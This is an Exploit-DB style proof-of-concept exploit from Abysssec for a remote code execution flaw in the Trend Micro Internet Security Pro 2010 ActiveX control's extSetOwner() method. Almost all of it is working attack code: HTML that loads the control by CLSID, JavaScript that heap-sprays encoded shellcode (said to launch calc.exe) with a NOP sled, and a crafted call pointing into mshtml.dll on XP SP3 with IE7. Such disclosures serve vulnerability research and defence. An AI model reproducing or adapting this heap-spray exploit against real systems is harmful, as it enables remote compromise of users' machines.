Trend Micro Internet Security Pro 2010 - ActiveX 'extSetOwner()' Remote Code Execution (2)

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  Title            :  Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code  Execution
  Version          :  UfPBCtrl.DLL  17.50.0.1366 (XP SP3)
  Analysis         :  http://www.abysssec.com
  Vendor           :  http://www.trendmicro.com
  Impact           :  Critical
  Contact          :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          :  @abysssec
 
  http://www.exploit-db.com/trend-micro-internet-security-pro-2010-activex-extsetowner-remote-code-execution/

  SHELLCODE CALC.EXE TESTED ON XPSP3_IE_7
-->
<object ID='target' classid='clsid:15DBC3F9-9F0A-472E-8061-043D9CEC52F0'>

</object>
<script>	 
	 shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ 
                    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ 
                    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ 
                    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ 
                    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ 
                    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ 
                    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ 
                    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); 
                      
     nops=unescape('%u9090%u9090'); 
     headersize =20; 
     slackspace= headersize + shellcode.length; 
     while(nops.length< slackspace) nops+= nops; 
     fillblock= nops.substring(0, slackspace); 
     block= nops.substring(0, nops.length- slackspace); 
     while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; 
     memory=new Array(); 
     for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;   	 
	 target.extSetOwner(unescape('%ua5de%u3da6'));                 //mshtml.dll [0x3DA6A5DE] = 0A0A0A06        
</script>